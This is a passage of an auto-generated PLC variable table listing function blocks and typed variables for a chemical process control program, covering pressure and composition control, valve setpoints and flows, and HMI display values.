+108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +221;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +222;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +223;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +224;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +225;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +226;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +227;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +228;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +231;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +232;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +233;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +234;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +235;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +236;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +237;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +238;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +239;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +240;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;SCALE_TO_SIGNED; +241;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;BOOL; +242;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;BOOL; +243;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;INT; +245;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;UINT; +246;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;UINT; +247;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;INT; +248;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;SCALE_TO_SIGNED; +249;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;BOOL; +251;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;UINT; +252;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;INT; +253;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;UINT; +254;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;INT; +256;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;SCALE_TO_SIGNED; +257;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;BOOL; 